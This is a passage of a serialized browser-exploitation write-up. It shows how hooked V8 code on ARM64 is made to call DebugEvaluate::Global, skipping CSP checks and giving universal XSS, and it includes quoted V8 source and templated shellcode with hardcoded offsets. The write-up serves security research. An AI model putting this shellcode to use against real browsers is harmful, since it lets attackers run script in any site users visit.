knows\n",{"type":26,"tag":475,"props":139960,"children":139961},{"class":477,"line":1090},[139962],{"type":26,"tag":475,"props":139963,"children":139964},{},[139965],{"type":32,"value":139966},"// where to return\n",{"type":26,"tag":475,"props":139968,"children":139969},{"class":477,"line":1119},[139970],{"type":26,"tag":475,"props":139971,"children":139972},{},[139973],{"type":32,"value":139974},"mov x4, lr\n",{"type":26,"tag":475,"props":139976,"children":139977},{"class":477,"line":1132},[139978],{"type":26,"tag":475,"props":139979,"children":139980},{"emptyLinePlaceholder":18},[139981],{"type":32,"value":545},{"type":26,"tag":475,"props":139983,"children":139984},{"class":477,"line":1146},[139985],{"type":26,"tag":475,"props":139986,"children":139987},{},[139988],{"type":32,"value":139989},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":26,"tag":475,"props":139991,"children":139992},{"class":477,"line":1155},[139993],{"type":26,"tag":475,"props":139994,"children":139995},{},[139996],{"type":32,"value":139997},"ldp x15, lr, [sp], #16\n",{"type":26,"tag":475,"props":139999,"children":140000},{"class":477,"line":1163},[140001],{"type":26,"tag":475,"props":140002,"children":140003},{"emptyLinePlaceholder":18},[140004],{"type":32,"value":545},{"type":26,"tag":475,"props":140006,"children":140007},{"class":477,"line":1172},[140008],{"type":26,"tag":475,"props":140009,"children":140010},{},[140011],{"type":32,"value":140012},"ret x4\n",{"type":26,"tag":35,"props":140014,"children":140015},{},[140016,140018,140023,140025,140030,140032,140038],{"type":32,"value":140017},"At this point, we have successfully hooked ",{"type":26,"tag":53,"props":140019,"children":140021},{"className":140020},[],[140022],{"type":32,"value":138900},{"type":32,"value":140024}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":26,"tag":53,"props":140026,"children":140028},{"className":140027},[],[140029],{"type":32,"value":139416},{"type":32,"value":140031}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":26,"tag":53,"props":140033,"children":140035},{"className":140034},[],[140036],{"type":32,"value":140037},"Builtins_GlobalEval",{"type":32,"value":353},{"type":26,"tag":35,"props":140040,"children":140041},{},[140042,140047,140049,140054,140056,140061],{"type":26,"tag":53,"props":140043,"children":140045},{"className":140044},[],[140046],{"type":32,"value":140037},{"type":32,"value":140048}," takes a single ",{"type":26,"tag":53,"props":140050,"children":140052},{"className":140051},[],[140053],{"type":32,"value":47620},{"type":32,"value":140055}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":26,"tag":53,"props":140057,"children":140059},{"className":140058},[],[140060],{"type":32,"value":37242},{"type":32,"value":179},{"type":26,"tag":465,"props":140063,"children":140065},{"code":140064,"language":28814,"meta":7,"className":28812,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[140066],{"type":26,"tag":53,"props":140067,"children":140068},{"__ignoreMap":7},[140069,140082,140089,140096,140139,140161,140187],{"type":26,"tag":475,"props":140070,"children":140071},{"class":477,"line":478},[140072,140077],{"type":26,"tag":475,"props":140073,"children":140074},{"style":493},[140075],{"type":32,"value":140076},"BUILTIN",{"type":26,"tag":475,"props":140078,"children":140079},{"style":499},[140080],{"type":32,"value":140081},"(GlobalEval) {\n",{"type":26,"tag":475,"props":140083,"children":140084},{"class":477,"line":516},[140085],{"type":26,"tag":475,"props":140086,"children":140087},{"style":499},[140088],{"type":32,"value":126585},{"type":26,"tag":475,"props":140090,"children":140091},{"class":477,"line":539},[140092],{"type":26,"tag":475,"props":140093,"children":140094},{"emptyLinePlaceholder":18},[140095],{"type":32,"value":545},{"type":26,"tag":475,"props":140097,"children":140098},{"class":477,"line":548},[140099,140104,140109,140113,140118,140122,140126,140130,140135],{"type":26,"tag":475,"props":140100,"children":140101},{"style":499},[140102],{"type":32,"value":140103}," if (!Builtins::",{"type":26,"tag":475,"props":140105,"children":140106},{"style":505},[140107],{"type":32,"value":140108},"AllowDynamicFunction",{"type":26,"tag":475,"props":140110,"children":140111},{"style":499},[140112],{"type":32,"value":626},{"type":26,"tag":475,"props":140114,"children":140115},{"style":505},[140116],{"type":32,"value":140117},"isolate",{"type":26,"tag":475,"props":140119,"children":140120},{"style":499},[140121],{"type":32,"value":637},{"type":26,"tag":475,"props":140123,"children":140124},{"style":505},[140125],{"type":32,"value":114510},{"type":26,"tag":475,"props":140127,"children":140128},{"style":499},[140129],{"type":32,"value":637},{"type":26,"tag":475,"props":140131,"children":140132},{"style":505},[140133],{"type":32,"value":140134},"target_global_proxy",{"type":26,"tag":475,"props":140136,"children":140137},{"style":499},[140138],{"type":32,"value":34889},{"type":26,"tag":475,"props":140140,"children":140141},{"class":477,"line":558},[140142,140147,140151,140156],{"type":26,"tag":475,"props":140143,"children":140144},{"style":2375},[140145],{"type":32,"value":140146}," isolate",{"type":26,"tag":475,"props":140148,"children":140149},{"style":499},[140150],{"type":32,"value":13464},{"type":26,"tag":475,"props":140152,"children":140153},{"style":493},[140154],{"type":32,"value":140155},"CountUsage",{"type":26,"tag":475,"props":140157,"children":140158},{"style":499},[140159],{"type":32,"value":140160},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":26,"tag":475,"props":140162,"children":140163},{"class":477,"line":582},[140164,140168,140173,140178,140183],{"type":26,"tag":475,"props":140165,"children":140166},{"style":586},[140167],{"type":32,"value":16695},{"type":26,"tag":475,"props":140169,"children":140170},{"style":493},[140171],{"type":32,"value":140172}," ReadOnlyRoots",{"type":26,"tag":475,"props":140174,"children":140175},{"style":499},[140176],{"type":32,"value":140177},"(isolate).",{"type":26,"tag":475,"props":140179,"children":140180},{"style":493},[140181],{"type":32,"value":140182},"undefined_value",{"type":26,"tag":475,"props":140184,"children":140185},{"style":499},[140186],{"type":32,"value":3376},{"type":26,"tag":475,"props":140188,"children":140189},{"class":477,"line":596},[140190],{"type":26,"tag":475,"props":140191,"children":140192},{"style":499},[140193],{"type":32,"value":5585},{"type":26,"tag":35,"props":140195,"children":140196},{},[140197,140199,140204],{"type":32,"value":140198},"This means we would need to patch the function further to ensure it never enters this ",{"type":26,"tag":53,"props":140200,"children":140202},{"className":140201},[],[140203],{"type":32,"value":15285},{"type":32,"value":140205}," block.",{"type":26,"tag":35,"props":140207,"children":140208},{},[140209],{"type":32,"value":140210},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":26,"tag":465,"props":140212,"children":140214},{"code":140213,"language":28814,"meta":7,"className":28812,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[140215],{"type":26,"tag":53,"props":140216,"children":140217},{"__ignoreMap":7},[140218,140229,140236,140243,140250,140258,140270,140278,140295,140325,140333,140345],{"type":26,"tag":475,"props":140219,"children":140220},{"class":477,"line":478},[140221,140225],{"type":26,"tag":475,"props":140222,"children":140223},{"style":493},[140224],{"type":32,"value":140076},{"type":26,"tag":475,"props":140226,"children":140227},{"style":499},[140228],{"type":32,"value":140081},{"type":26,"tag":475,"props":140230,"children":140231},{"class":477,"line":516},[140232],{"type":26,"tag":475,"props":140233,"children":140234},{"emptyLinePlaceholder":18},[140235],{"type":32,"value":545},{"type":26,"tag":475,"props":140237,"children":140238},{"class":477,"line":539},[140239],{"type":26,"tag":475,"props":140240,"children":140241},{"style":499},[140242],{"type":32,"value":126585},{"type":26,"tag":475,"props":140244,"children":140245},{"class":477,"line":548},[140246],{"type":26,"tag":475,"props":140247,"children":140248},{"emptyLinePlaceholder":18},[140249],{"type":32,"value":545},{"type":26,"tag":475,"props":140251,"children":140252},{"class":477,"line":558},[140253],{"type":26,"tag":475,"props":140254,"children":140255},{"style":499},[140256],{"type":32,"value":140257}," DirectHandle\u003CJSFunction> function;\n",{"type":26,"tag":475,"props":140259,"children":140260},{"class":477,"line":582},[140261,140266],{"type":26,"tag":475,"props":140262,"children":140263},{"style":493},[140264],{"type":32,"value":140265}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":26,"tag":475,"props":140267,"children":140268},{"style":499},[140269],{"type":32,"value":3169},{"type":26,"tag":475,"props":140271,"children":140272},{"class":477,"line":596},[140273],{"type":26,"tag":475,"props":140274,"children":140275},{"style":499},[140276],{"type":32,"value":140277}," isolate, function,\n",{"type":26,"tag":475,"props":140279,"children":140280},{"class":477,"line":610},[140281,140286,140291],{"type":26,"tag":475,"props":140282,"children":140283},{"style":499},[140284],{"type":32,"value":140285}," Compiler::",{"type":26,"tag":475,"props":140287,"children":140288},{"style":493},[140289],{"type":32,"value":140290},"GetFunctionFromValidatedString",{"type":26,"tag":475,"props":140292,"children":140293},{"style":499},[140294],{"type":32,"value":3169},{"type":26,"tag":475,"props":140296,"children":140297},{"class":477,"line":650},[140298,140303,140307,140311,140315,140320],{"type":26,"tag":475,"props":140299,"children":140300},{"style":493},[140301],{"type":32,"value":140302}," direct_handle",{"type":26,"tag":475,"props":140304,"children":140305},{"style":499},[140306],{"type":32,"value":626},{"type":26,"tag":475,"props":140308,"children":140309},{"style":2375},[140310],{"type":32,"value":114510},{"type":26,"tag":475,"props":140312,"children":140313},{"style":499},[140314],{"type":32,"value":13464},{"type":26,"tag":475,"props":140316,"children":140317},{"style":493},[140318],{"type":32,"value":140319},"native_context",{"type":26,"tag":475,"props":140321,"children":140322},{"style":499},[140323],{"type":32,"value":140324},"(), isolate), source,\n",{"type":26,"tag":475,"props":140326,"children":140327},{"class":477,"line":679},[140328],{"type":26,"tag":475,"props":140329,"children":140330},{"style":499},[140331],{"type":32,"value":140332}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":26,"tag":475,"props":140334,"children":140335},{"class":477,"line":735},[140336,140341],{"type":26,"tag":475,"props":140337,"children":140338},{"style":493},[140339],{"type":32,"value":140340}," RETURN_RESULT_OR_FAILURE",{"type":26,"tag":475,"props":140342,"children":140343},{"style":499},[140344],{"type":32,"value":3169},{"type":26,"tag":475,"props":140346,"children":140347},{"class":477,"line":744},[140348,140353,140358],{"type":26,"tag":475,"props":140349,"children":140350},{"style":499},[140351],{"type":32,"value":140352}," isolate, Execution::",{"type":26,"tag":475,"props":140354,"children":140355},{"style":493},[140356],{"type":32,"value":140357},"Call",{"type":26,"tag":475,"props":140359,"children":140360},{"style":499},[140361],{"type":32,"value":140362},"(isolate, function, target_global_proxy, {}));\n",{"type":26,"tag":35,"props":140364,"children":140365},{},[140366,140368,140373,140375,140381,140383,140389,140391,140397],{"type":32,"value":140367},"But determining the correct ",{"type":26,"tag":53,"props":140369,"children":140371},{"className":140370},[],[140372],{"type":32,"value":114510},{"type":32,"value":140374}," value, obtaining ",{"type":26,"tag":53,"props":140376,"children":140378},{"className":140377},[],[140379],{"type":32,"value":140380},"target->native_context()",{"type":32,"value":140382},", and locating the ",{"type":26,"tag":53,"props":140384,"children":140386},{"className":140385},[],[140387],{"type":32,"value":140388},"direct_handle",{"type":32,"value":140390}," function, just to make a proper call to ",{"type":26,"tag":53,"props":140392,"children":140394},{"className":140393},[],[140395],{"type":32,"value":140396},"Compiler::GetFunctionFromValidatedString",{"type":32,"value":140398},", seemed unnecessarily cumbersome.",{"type":26,"tag":35,"props":140400,"children":140401},{},[140402,140404,140410],{"type":32,"value":140403},"Instead, we found a much simpler option with no security checks: ",{"type":26,"tag":53,"props":140405,"children":140407},{"className":140406},[],[140408],{"type":32,"value":140409},"DebugEvaluate::Global",{"type":32,"value":140411},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":26,"tag":35,"props":140413,"children":140414},{},[140415],{"type":32,"value":140416},"For our needs, it is straightforward to call:",{"type":26,"tag":465,"props":140418,"children":140420},{"code":140419,"language":28814,"meta":7,"className":28812,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[140421],{"type":26,"tag":53,"props":140422,"children":140423},{"__ignoreMap":7},[140424,140472,140501,140522],{"type":26,"tag":475,"props":140425,"children":140426},{"class":477,"line":478},[140427,140432,140436,140440,140445,140450,140454,140459,140463,140468],{"type":26,"tag":475,"props":140428,"children":140429},{"style":505},[140430],{"type":32,"value":140431},"MaybeDirectHandle",{"type":26,"tag":475,"props":140433,"children":140434},{"style":499},[140435],{"type":32,"value":5519},{"type":26,"tag":475,"props":140437,"children":140438},{"style":505},[140439],{"type":32,"value":48544},{"type":26,"tag":475,"props":140441,"children":140442},{"style":499},[140443],{"type":32,"value":140444},"> DebugEvaluate::",{"type":26,"tag":475,"props":140446,"children":140447},{"style":493},[140448],{"type":32,"value":140449},"Global",{"type":26,"tag":475,"props":140451,"children":140452},{"style":499},[140453],{"type":32,"value":626},{"type":26,"tag":475,"props":140455,"children":140456},{"style":505},[140457],{"type":32,"value":140458},"Isolate",{"type":26,"tag":475,"props":140460,"children":140461},{"style":482},[140462],{"type":32,"value":4282},{"type":26,"tag":475,"props":140464,"children":140465},{"style":2375},[140466],{"type":32,"value":140467}," isolate",{"type":26,"tag":475,"props":140469,"children":140470},{"style":499},[140471],{"type":32,"value":2425},{"type":26,"tag":475,"props":140473,"children":140474},{"class":477,"line":516},[140475,140480,140484,140488,140492,140497],{"type":26,"tag":475,"props":140476,"children":140477},{"style":505},[140478],{"type":32,"value":140479}," Handle",{"type":26,"tag":475,"props":140481,"children":140482},{"style":499},[140483],{"type":32,"value":5519},{"type":26,"tag":475,"props":140485,"children":140486},{"style":505},[140487],{"type":32,"value":47620},{"type":26,"tag":475,"props":140489,"children":140490},{"style":499},[140491],{"type":32,"value":5534},{"type":26,"tag":475,"props":140493,"children":140494},{"style":2375},[140495],{"type":32,"value":140496},"source",{"type":26,"tag":475,"props":140498,"children":140499},{"style":499},[140500],{"type":32,"value":2425},{"type":26,"tag":475,"props":140502,"children":140503},{"class":477,"line":539},[140504,140509,140514,140518],{"type":26,"tag":475,"props":140505,"children":140506},{"style":499},[140507],{"type":32,"value":140508}," debug::",{"type":26,"tag":475,"props":140510,"children":140511},{"style":505},[140512],{"type":32,"value":140513},"EvaluateGlobalMode",{"type":26,"tag":475,"props":140515,"children":140516},{"style":2375},[140517],{"type":32,"value":105706},{"type":26,"tag":475,"props":140519,"children":140520},{"style":499},[140521],{"type":32,"value":2425},{"type":26,"tag":475,"props":140523,"children":140524},{"class":477,"line":548},[140525,140530,140535],{"type":26,"tag":475,"props":140526,"children":140527},{"style":505},[140528],{"type":32,"value":140529}," REPLMode",{"type":26,"tag":475,"props":140531,"children":140532},{"style":2375},[140533],{"type":32,"value":140534}," repl_mode",{"type":26,"tag":475,"props":140536,"children":140537},{"style":499},[140538],{"type":32,"value":3533},{"type":26,"tag":35,"props":140540,"children":140541},{},[140542,140544,140549,140551,140556,140558,140563,140565,140571,140572,140578],{"type":32,"value":140543},"We must supply the ",{"type":26,"tag":53,"props":140545,"children":140547},{"className":140546},[],[140548],{"type":32,"value":140117},{"type":32,"value":140550}," pointer, a ",{"type":26,"tag":53,"props":140552,"children":140554},{"className":140553},[],[140555],{"type":32,"value":47620},{"type":32,"value":140557}," object containing our XSS payload as ",{"type":26,"tag":53,"props":140559,"children":140561},{"className":140560},[],[140562],{"type":32,"value":140496},{"type":32,"value":140564},", and the ",{"type":26,"tag":53,"props":140566,"children":140568},{"className":140567},[],[140569],{"type":32,"value":140570},"mode",{"type":32,"value":209},{"type":26,"tag":53,"props":140573,"children":140575},{"className":140574},[],[140576],{"type":32,"value":140577},"repl_mode",{"type":32,"value":140579}," values, which are simple enum literals.",{"type":26,"tag":35,"props":140581,"children":140582},{},[140583,140585,140590,140592,140598,140600,140605,140607,140612,140614,140620,140622,140628,140630,140635,140637,140642,140644,140649,140651,140656],{"type":32,"value":140584},"To obtain the ",{"type":26,"tag":53,"props":140586,"children":140588},{"className":140587},[],[140589],{"type":32,"value":140117},{"type":32,"value":140591}," pointer within our shellcode, we call ",{"type":26,"tag":53,"props":140593,"children":140595},{"className":140594},[],[140596],{"type":32,"value":140597},"Isolate::TryGetCurrent()",{"type":32,"value":140599},", which returns the current ",{"type":26,"tag":53,"props":140601,"children":140603},{"className":140602},[],[140604],{"type":32,"value":140117},{"type":32,"value":140606},". To construct a valid ",{"type":26,"tag":53,"props":140608,"children":140610},{"className":140609},[],[140611],{"type":32,"value":47620},{"type":32,"value":140613}," object holding our payload, we call ",{"type":26,"tag":53,"props":140615,"children":140617},{"className":140616},[],[140618],{"type":32,"value":140619},"v8::String::NewFromUTF8",{"type":32,"value":140621},". This ",{"type":26,"tag":53,"props":140623,"children":140625},{"className":140624},[],[140626],{"type":32,"value":140627},"NewFromUTF8",{"type":32,"value":140629}," function takes four arguments: the ",{"type":26,"tag":53,"props":140631,"children":140633},{"className":140632},[],[140634],{"type":32,"value":140117},{"type":32,"value":140636},", the string bytes as ",{"type":26,"tag":53,"props":140638,"children":140640},{"className":140639},[],[140641],{"type":32,"value":3408},{"type":32,"value":140643},", an enum literal specifying the string type, and ",{"type":26,"tag":53,"props":140645,"children":140647},{"className":140646},[],[140648],{"type":32,"value":8215},{"type":32,"value":140650},", which is the size of the ",{"type":26,"tag":53,"props":140652,"children":140654},{"className":140653},[],[140655],{"type":32,"value":3408},{"type":32,"value":16870},{"type":26,"tag":35,"props":140658,"children":140659},{},[140660],{"type":32,"value":140661},"The resulting shellcode that executes our XSS payload looks like this:",{"type":26,"tag":465,"props":140663,"children":140665},{"code":140664,"language":138953,"meta":7,"className":138954,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[140666],{"type":26,"tag":53,"props":140667,"children":140668},{"__ignoreMap":7},[140669,140677,140685,140693,140701,140709,140717,140725,140733,140741,140749,140757,140765,140772,140780,140788,140796,140804,140811,140819,140826,140834,140842,140849,140856,140863,140870,140877,140884,140892,140900,140907,140915,140923,140930,140938,140946,140953,140960,140968,140976,140984,140991,140999,141007,141015,141023,141031,141039,141047,141055,141063,141071,141079,141086,141094,141102,141109,141117,141125,141133,141141,141148,141156,141163,141170,141178,141186,141194,141202,141211,141220,141228],{"type":26,"tag":475,"props":140670,"children":140671},{"class":477,"line":478},[140672],{"type":26,"tag":475,"props":140673,"children":140674},{},[140675],{"type":32,"value":140676},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":26,"tag":475,"props":140678,"children":140679},{"class":477,"line":516},[140680],{"type":26,"tag":475,"props":140681,"children":140682},{},[140683],{"type":32,"value":140684},"movz x1, #0xf7a0\n",{"type":26,"tag":475,"props":140686,"children":140687},{"class":477,"line":539},[140688],{"type":26,"tag":475,"props":140689,"children":140690},{},[140691],{"type":32,"value":140692},"movk x1, #0x0071, lsl #16\n",{"type":26,"tag":475,"props":140694,"children":140695},{"class":477,"line":548},[140696],{"type":26,"tag":475,"props":140697,"children":140698},{},[140699],{"type":32,"value":140700},"add x9, x12, x1\n",{"type":26,"tag":475,"props":140702,"children":140703},{"class":477,"line":558},[140704],{"type":26,"tag":475,"props":140705,"children":140706},{},[140707],{"type":32,"value":140708},"movz x1, #0x5ac8\n",{"type":26,"tag":475,"props":140710,"children":140711},{"class":477,"line":582},[140712],{"type":26,"tag":475,"props":140713,"children":140714},{},[140715],{"type":32,"value":140716},"movk x1, #0x054f, lsl #16\n",{"type":26,"tag":475,"props":140718,"children":140719},{"class":477,"line":596},[140720],{"type":26,"tag":475,"props":140721,"children":140722},{},[140723],{"type":32,"value":140724},"add x0, x12, x1\n",{"type":26,"tag":475,"props":140726,"children":140727},{"class":477,"line":610},[140728],{"type":26,"tag":475,"props":140729,"children":140730},{},[140731],{"type":32,"value":140732},"blr x9\n",{"type":26,"tag":475,"props":140734,"children":140735},{"class":477,"line":650},[140736],{"type":26,"tag":475,"props":140737,"children":140738},{},[140739],{"type":32,"value":140740},"// *x0 is isolate pointer\n",{"type":26,"tag":475,"props":140742,"children":140743},{"class":477,"line":679},[140744],{"type":26,"tag":475,"props":140745,"children":140746},{},[140747],{"type":32,"value":140748},"// store isolate ptr to stack\n",{"type":26,"tag":475,"props":140750,"children":140751},{"class":477,"line":735},[140752],{"type":26,"tag":475,"props":140753,"children":140754},{},[140755],{"type":32,"value":140756},"ldr x13, [x0]\n",{"type":26,"tag":475,"props":140758,"children":140759},{"class":477,"line":744},[140760],{"type":26,"tag":475,"props":140761,"children":140762},{},[140763],{"type":32,"value":140764},"str x13, [sp, #-16]!\n",{"type":26,"tag":475,"props":140766,"children":140767},{"class":477,"line":753},[140768],{"type":26,"tag":475,"props":140769,"children":140770},{"emptyLinePlaceholder":18},[140771],{"type":32,"value":545},{"type":26,"tag":475,"props":140773,"children":140774},{"class":477,"line":761},[140775],{"type":26,"tag":475,"props":140776,"children":140777},{},[140778],{"type":32,"value":140779},"// store x10 = v8::String::NewFromUTF8\n",{"type":26,"tag":475,"props":140781,"children":140782},{"class":477,"line":770},[140783],{"type":26,"tag":475,"props":140784,"children":140785},{},[140786],{"type":32,"value":140787},"movz x1, #0x1140\n",{"type":26,"tag":475,"props":140789,"children":140790},{"class":477,"line":794},[140791],{"type":26,"tag":475,"props":140792,"children":140793},{},[140794],{"type":32,"value":140795},"movk x1, #0x0242, lsl #16\n",{"type":26,"tag":475,"props":140797,"children":140798},{"class":477,"line":831},[140799],{"type":26,"tag":475,"props":140800,"children":140801},{},[140802],{"type":32,"value":140803},"sub x10, x12, x1\n",{"type":26,"tag":475,"props":140805,"children":140806},{"class":477,"line":845},[140807],{"type":26,"tag":475,"props":140808,"children":140809},{"emptyLinePlaceholder":18},[140810],{"type":32,"value":545},{"type":26,"tag":475,"props":140812,"children":140813},{"class":477,"line":854},[140814],{"type":26,"tag":475,"props":140815,"children":140816},{},[140817],{"type":32,"value":140818},"// mmap a RW page for our xss payload\n",{"type":26,"tag":475,"props":140820,"children":140821},{"class":477,"line":862},[140822],{"type":26,"tag":475,"props":140823,"children":140824},{},[140825],{"type":32,"value":139169},{"type":26,"tag":475,"props":140827,"children":140828},{"class":477,"line":885},[140829],{"type":26,"tag":475,"props":140830,"children":140831},{},[140832],{"type":32,"value":140833},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":26,"tag":475,"props":140835,"children":140836},{"class":477,"line":913},[140837],{"type":26,"tag":475,"props":140838,"children":140839},{},[140840],{"type":32,"value":140841},"mov x2, #3\n",{"type":26,"tag":475,"props":140843,"children":140844},{"class":477,"line":926},[140845],{"type":26,"tag":475,"props":140846,"children":140847},{},[140848],{"type":32,"value":139192},{"type":26,"tag":475,"props":140850,"children":140851},{"class":477,"line":948},[140852],{"type":26,"tag":475,"props":140853,"children":140854},{},[140855],{"type":32,"value":139200},{"type":26,"tag":475,"props":140857,"children":140858},{"class":477,"line":966},[140859],{"type":26,"tag":475,"props":140860,"children":140861},{},[140862],{"type":32,"value":139208},{"type":26,"tag":475,"props":140864,"children":140865},{"class":477,"line":979},[140866],{"type":26,"tag":475,"props":140867,"children":140868},{},[140869],{"type":32,"value":139216},{"type":26,"tag":475,"props":140871,"children":140872},{"class":477,"line":1006},[140873],{"type":26,"tag":475,"props":140874,"children":140875},{},[140876],{"type":32,"value":139131},{"type":26,"tag":475,"props":140878,"children":140879},{"class":477,"line":1046},[140880],{"type":26,"tag":475,"props":140881,"children":140882},{"emptyLinePlaceholder":18},[140883],{"type":32,"value":545},{"type":26,"tag":475,"props":140885,"children":140886},{"class":477,"line":1068},[140887],{"type":26,"tag":475,"props":140888,"children":140889},{},[140890],{"type":32,"value":140891},"// write our xss payload to mmapped rw page\n",{"type":26,"tag":475,"props":140893,"children":140894},{"class":477,"line":1077},[140895],{"type":26,"tag":475,"props":140896,"children":140897},{},[140898],{"type":32,"value":140899},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":26,"tag":475,"props":140901,"children":140902},{"class":477,"line":1090},[140903],{"type":26,"tag":475,"props":140904,"children":140905},{"emptyLinePlaceholder":18},[140906],{"type":32,"value":545},{"type":26,"tag":475,"props":140908,"children":140909},{"class":477,"line":1119},[140910],{"type":26,"tag":475,"props":140911,"children":140912},{},[140913],{"type":32,"value":140914},"// store x11 = XSS_PAYLOAD string\n",{"type":26,"tag":475,"props":140916,"children":140917},{"class":477,"line":1132},[140918],{"type":26,"tag":475,"props":140919,"children":140920},{},[140921],{"type":32,"value":140922},"mov x11, x0\n",{"type":26,"tag":475,"props":140924,"children":140925},{"class":477,"line":1146},[140926],{"type":26,"tag":475,"props":140927,"children":140928},{"emptyLinePlaceholder":18},[140929],{"type":32,"value":545},{"type":26,"tag":475,"props":140931,"children":140932},{"class":477,"line":1155},[140933],{"type":26,"tag":475,"props":140934,"children":140935},{},[140936],{"type":32,"value":140937},"// pop back isolate pointer\n",{"type":26,"tag":475,"props":140939,"children":140940},{"class":477,"line":1163},[140941],{"type":26,"tag":475,"props":140942,"children":140943},{},[140944],{"type":32,"value":140945},"ldr x13, [sp], #16\n",{"type":26,"tag":475,"props":140947,"children":140948},{"class":477,"line":1172},[140949],{"type":26,"tag":475,"props":140950,"children":140951},{"emptyLinePlaceholder":18},[140952],{"type":32,"value":545},{"type":26,"tag":475,"props":140954,"children":140955},{"class":477,"line":1181},[140956],{"type":26,"tag":475,"props":140957,"children":140958},{},[140959],{"type":32,"value":139252},{"type":26,"tag":475,"props":140961,"children":140962},{"class":477,"line":1189},[140963],{"type":26,"tag":475,"props":140964,"children":140965},{},[140966],{"type":32,"value":140967},"// x13 = isolate *\n",{"type":26,"tag":475,"props":140969,"children":140970},{"class":477,"line":1221},[140971],{"type":26,"tag":475,"props":140972,"children":140973},{},[140974],{"type":32,"value":140975},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":26,"tag":475,"props":140977,"children":140978},{"class":477,"line":1848},[140979],{"type":26,"tag":475,"props":140980,"children":140981},{},[140982],{"type":32,"value":140983},"// x10 = v8::String::NewFromUtf8\n",{"type":26,"tag":475,"props":140985,"children":140986},{"class":477,"line":1857},[140987],{"type":26,"tag":475,"props":140988,"children":140989},{"emptyLinePlaceholder":18},[140990],{"type":32,"value":545},{"type":26,"tag":475,"props":140992,"children":140993},{"class":477,"line":1866},[140994],{"type":26,"tag":475,"props":140995,"children":140996},{},[140997],{"type":32,"value":140998},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":26,"tag":475,"props":141000,"children":141001},{"class":477,"line":1875},[141002],{"type":26,"tag":475,"props":141003,"children":141004},{},[141005],{"type":32,"value":141006},"// arg0 = isolate *\n",{"type":26,"tag":475,"props":141008,"children":141009},{"class":477,"line":1883},[141010],{"type":26,"tag":475,"props":141011,"children":141012},{},[141013],{"type":32,"value":141014},"mov x0, x13\n",{"type":26,"tag":475,"props":141016,"children":141017},{"class":477,"line":1892},[141018],{"type":26,"tag":475,"props":141019,"children":141020},{},[141021],{"type":32,"value":141022},"// arg1 = char *c_str\n",{"type":26,"tag":475,"props":141024,"children":141025},{"class":477,"line":1901},[141026],{"type":26,"tag":475,"props":141027,"children":141028},{},[141029],{"type":32,"value":141030},"mov x1, x11\n",{"type":26,"tag":475,"props":141032,"children":141033},{"class":477,"line":1910},[141034],{"type":26,"tag":475,"props":141035,"children":141036},{},[141037],{"type":32,"value":141038},"// arg2 = type = kNormal\n",{"type":26,"tag":475,"props":141040,"children":141041},{"class":477,"line":1919},[141042],{"type":26,"tag":475,"props":141043,"children":141044},{},[141045],{"type":32,"value":141046},"mov x2, #0\n",{"type":26,"tag":475,"props":141048,"children":141049},{"class":477,"line":1927},[141050],{"type":26,"tag":475,"props":141051,"children":141052},{},[141053],{"type":32,"value":141054},"// arg4 = 